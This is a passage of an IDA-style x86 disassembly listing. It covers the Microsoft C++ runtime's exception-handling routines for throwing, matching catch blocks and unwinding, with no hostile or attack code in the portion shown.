		add	esp, 0Ch
		jmp	short loc_41D736
; ---------------------------------------------------------------------------


loc_41D726:				; CODE XREF: sub_41D6A0+63j
					; sub_41D6A0+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41D73B
		add	esp, 10h


loc_41D736:				; CODE XREF: sub_41D6A0+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D6A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D73B	proc near		; CODE XREF: sub_41D6A0+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4D8764, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41D4BE
		and	byte_4D8764, 0
		add	esp, 10h
		retn
sub_41D73B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D762	proc near		; CODE XREF: sub_41D6A0+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4D8764, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41D5C2
		and	byte_4D8764, 0
		add	esp, 0Ch
		retn
sub_41D762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D785	proc near		; CODE XREF: sub_41B184+3AAp
					; DATA XREF: sub_418C60o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41D7C0
		cmp	[ebp+arg_8], 45h
		jz	short loc_41D7C0
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41D7AD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D5C2
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D785+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D6A0
		jmp	short loc_41D7D1
; ---------------------------------------------------------------------------


loc_41D7C0:				; CODE XREF: sub_41D785+7j
					; sub_41D785+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D4BE


loc_41D7D1:				; CODE XREF: sub_41D785+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41D785	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7D6	proc near		; CODE XREF: sub_41D4BE+2Cp
					; sub_41D5C2+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41D7F9
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_4176F0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_419190
		add	esp, 10h
		pop	esi


loc_41D7F9:				; CODE XREF: sub_41D7D6+7j
		pop	edi
		retn
sub_41D7D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7FB	proc near		; CODE XREF: nsp0:00418E40p
					; sub_418EA9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41D811
		call	sub_41E0A2


loc_41D811:				; CODE XREF: sub_41D7FB+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41D839
		cmp	dword ptr [esi+4], 0
		jz	short loc_41D88F
		cmp	[ebp+arg_14], 0
		jnz	short loc_41D88F
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41DB42
		add	esp, 10h
		jmp	short loc_41D88F
; ---------------------------------------------------------------------------


loc_41D839:				; CODE XREF: sub_41D7FB+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41D88F
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D873
		cmp	[eax+14h], edi
		jbe	short loc_41D873
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41D873
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41D892
; ---------------------------------------------------------------------------


loc_41D873:				; CODE XREF: sub_41D7FB+4Aj
					; sub_41D7FB+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D896
		add	esp, 20h


loc_41D88F:				; CODE XREF: sub_41D7FB+23j
					; sub_41D7FB+29j ...
		push	1
		pop	eax


loc_41D892:				; CODE XREF: sub_41D7FB+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41D7FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D896	proc near		; CODE XREF: sub_41D7FB+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41D8B6
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41D8BB


loc_41D8B6:				; CODE XREF: sub_41D896+16j
		call	sub_41E0A2


loc_41D8BB:				; CODE XREF: sub_41D896+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41DA12
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41D92F
		cmp	[esi+14h], edi
		jnz	short loc_41D92F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41D92F
		mov	esi, dword_4D8770
		test	esi, esi
		jz	loc_41DA0D
		mov	eax, dword_4D8774
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_420250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41D911
		call	sub_41E0A2


loc_41D911:				; CODE XREF: sub_41D896+74j
		cmp	[esi], ebx
		jnz	loc_41DA12
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41D92F
		cmp	[esi+14h], edi
		jnz	short loc_41D92F
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41D92F
		call	sub_41E0A2


loc_41D92F:				; CODE XREF: sub_41D896+41j
					; sub_41D896+46j ...
		cmp	[esi], ebx
		jnz	loc_41DA12
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41DA12
		cmp	[esi+14h], edi
		jnz	loc_41DA12
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418FF7
		add	esp, 14h
		mov	ebx, eax


loc_41D966:				; CODE XREF: sub_41D896+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41D9FD
		cmp	[ebx], edi
		jg	short loc_41D9F2
		cmp	edi, [ebx+4]
		jg	short loc_41D9F2
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41D9EF


loc_41D98B:				; CODE XREF: sub_41D896+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41D9BC


loc_41D99D:				; CODE XREF: sub_41D896+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41DAE5
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9CB
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41D99D


loc_41D9BC:				; CODE XREF: sub_41D896+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41D98B
		jmp	short loc_41D9EF
; ---------------------------------------------------------------------------


loc_41D9CB:				; CODE XREF: sub_41D896+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41DBF6
		add	esp, 2Ch


loc_41D9EF:				; CODE XREF: sub_41D896+F3j
					; sub_41D896+133j
		mov	edi, [ebp+var_10]


loc_41D9F2:				; CODE XREF: sub_41D896+DEj
					; sub_41D896+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41D966
; ---------------------------------------------------------------------------


loc_41D9FD:				; CODE XREF: sub_41D896+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41DA0D
		push	1
		push	esi
		call	sub_41DF6B
		pop	ecx
		pop	ecx


loc_41DA0D:				; CODE XREF: sub_41D896+56j
					; sub_41D896+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DA12:				; CODE XREF: sub_41D896+37j
					; sub_41D896+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41DA38
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41DA3D
		add	esp, 20h
		jmp	short loc_41DA0D
; ---------------------------------------------------------------------------


loc_41DA38:				; CODE XREF: sub_41D896+180j
		jmp	sub_41E04C
sub_41D896	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA3D	proc near		; CODE XREF: sub_41D896+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4D8778, 0
		push	esi
		push	edi
		jz	short loc_41DA6E
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418ECE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41DAE1


loc_41DA6E:				; CODE XREF: sub_41DA3D+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418FF7
		add	esp, 14h
		mov	esi, eax


loc_41DA8A:				; CODE XREF: sub_41DA3D+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41DAE1
		cmp	edi, [esi]
		jl	short loc_41DAD9
		cmp	edi, [esi+4]
		jg	short loc_41DAD9
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41DAB3
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41DAD9


loc_41DAB3:				; CODE XREF: sub_41DA3D+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41DBF6
		add	esp, 2Ch


loc_41DAD9:				; CODE XREF: sub_41DA3D+57j
					; sub_41DA3D+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41DA8A
; ---------------------------------------------------------------------------


loc_41DAE1:				; CODE XREF: sub_41DA3D+2Fj
					; sub_41DA3D+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41DA3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAE5	proc near		; CODE XREF: sub_41D896+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41DB3C
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41DB3C
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41DB16
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DB38


loc_41DB16:				; CODE XREF: sub_41DAE5+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41DB20
		test	byte ptr [edi],	8
		jz	short loc_41DB38


loc_41DB20:				; CODE XREF: sub_41DAE5+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41DB2F
		test	byte ptr [edi],	1
		jz	short loc_41DB38


loc_41DB2F:				; CODE XREF: sub_41DAE5+43j
		test	al, 2
		jz	short loc_41DB3C
		test	byte ptr [edi],	2
		jnz	short loc_41DB3C


loc_41DB38:				; CODE XREF: sub_41DAE5+2Fj
					; sub_41DAE5+39j ...
		xor	eax, eax
		jmp	short loc_41DB3F
; ---------------------------------------------------------------------------


loc_41DB3C:				; CODE XREF: sub_41DAE5+Bj
					; sub_41DAE5+14j ...
		push	1
		pop	eax


loc_41DB3F:				; CODE XREF: sub_41DAE5+55j
		pop	edi
		pop	esi
		retn
sub_41DAE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB42	proc near		; CODE XREF: sub_41D7FB+34p
					; sub_41DBF6+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423888
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41DB74:				; CODE XREF: sub_41DB42+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41DBCE
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41DB83
		cmp	esi, [edi+4]
		jl	short loc_41DB88


loc_41DB83:				; CODE XREF: sub_41DB42+3Aj
		call	sub_41E0A2


loc_41DB88:				; CODE XREF: sub_41DB42+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41DBA3
		push	103h
		push	ebx
		push	eax
		call	sub_41E000


loc_41DBA3:				; CODE XREF: sub_41DB42+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DBC3
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41DBE0
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41DBC3:				; CODE XREF: sub_41DB42+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41DB74
; ---------------------------------------------------------------------------


loc_41DBCE:				; CODE XREF: sub_41DB42+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE0	proc near		; CODE XREF: sub_41DB42+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41DBF1
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DBF1:				; CODE XREF: sub_41DBE0+Cj
		jmp	sub_41E04C
sub_41DBE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DBF6	proc near		; CODE XREF: sub_41D896+151p
					; sub_41DA3D+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41DC18
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41DDA7
		add	esp, 10h


loc_41DC18:				; CODE XREF: sub_41DBF6+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41DC24
		push	edi
		jmp	short loc_41DC27
; ---------------------------------------------------------------------------


loc_41DC24:				; CODE XREF: sub_41DBF6+29j
		push	[ebp+arg_24]


loc_41DC27:				; CODE XREF: sub_41DBF6+2Cj
		call	sub_418DD0
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41DB42
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41DC71
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41DC6C
		push	edi
		push	eax
		call	sub_418D8E


loc_41DC6C:				; CODE XREF: sub_41DBF6+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DBF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC71	proc near		; CODE XREF: sub_41DBF6+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423898
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4D8770
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4D8774
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4D8770, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4D8774, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_418E55
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DD37
		mov	eax, [ebp+var_2C]


loc_41DCFE:				; CODE XREF: sub_41DD17+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DC71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD0D	proc near		; DATA XREF: nsp0:004238A8o
		push	dword ptr [ebp-14h]
		call	sub_41DD7D
		pop	ecx
		retn
sub_41DD0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD17	proc near		; DATA XREF: nsp0:004238ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4190B6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41DCFE
sub_41DD17	endp

; ---------------------------------------------------------------------------


loc_41DD2F:				; DATA XREF: nsp0:004238A0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41DD37	proc near		; CODE XREF: sub_41DC71+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4D8770, eax
		mov	eax, [ebp-20h]
		mov	dword_4D8774, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41DD7C
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41DD7C
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41DD7C
		cmp	[ebp-24h], ebx
		jnz	short locret_41DD7C
		cmp	[ebp-2Ch], ebx
		jz	short locret_41DD7C
		call	sub_41911E
		push	eax
		push	edi
		call	sub_41DF6B
		pop	ecx
		pop	ecx

locret_41DD7C:				; CODE XREF: sub_41DD37+1Cj
					; sub_41DD37+22j ...
		retn
sub_41DD37	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD7D	proc near		; CODE XREF: sub_41DD0D+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DDA4
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DDA4
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DDA4
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41DDA4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41DDA4:				; CODE XREF: sub_41DD7D+Cj
					; sub_41DD7D+12j ...
		xor	eax, eax
		retn
sub_41DD7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDA7	proc near		; CODE XREF: sub_41DBF6+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238B0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41DF50
		cmp	byte ptr [eax+8], 0
		jz	loc_41DF50
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41DF50
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41DE44
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41DE35:				; CODE XREF: sub_41DDA7+F5j
		push	eax
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DE44:				; CODE XREF: sub_41DDA7+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41DE9E
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_419190
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41DF4C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41DF4C
		add	esi, 8
		push	esi
		jmp	short loc_41DE35
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41DDA7+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41DEE6
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_419190
		add	esp, 0Ch
		jmp	short loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DEE6:				; CODE XREF: sub_41DDA7+103j
		call	sub_420250
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		push	1
		push	edi
		call	sub_42026C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		push	dword ptr [esi+18h]
		call	sub_420288
		pop	ecx
		test	eax, eax
		jz	short loc_41DF47
		test	byte ptr [esi],	4
		jz	short loc_41DF2D
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_418DC9
		jmp	short loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DF2D:				; CODE XREF: sub_41DDA7+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41DFD2
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_418DC2
		jmp	short loc_41DF4C
; ---------------------------------------------------------------------------


loc_41DF47:				; CODE XREF: sub_41DDA7+6Aj
					; sub_41DDA7+7Cj ...
		call	sub_41E0A2


loc_41DF4C:				; CODE XREF: sub_41DDA7+98j
					; sub_41DDA7+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41DF50:				; CODE XREF: sub_41DDA7+2Ej
					; sub_41DDA7+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DDA7	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41E04C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF6B	proc near		; CODE XREF: sub_41D896+170p
					; sub_41DD37+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238C0
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41DFB2
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41DFB2
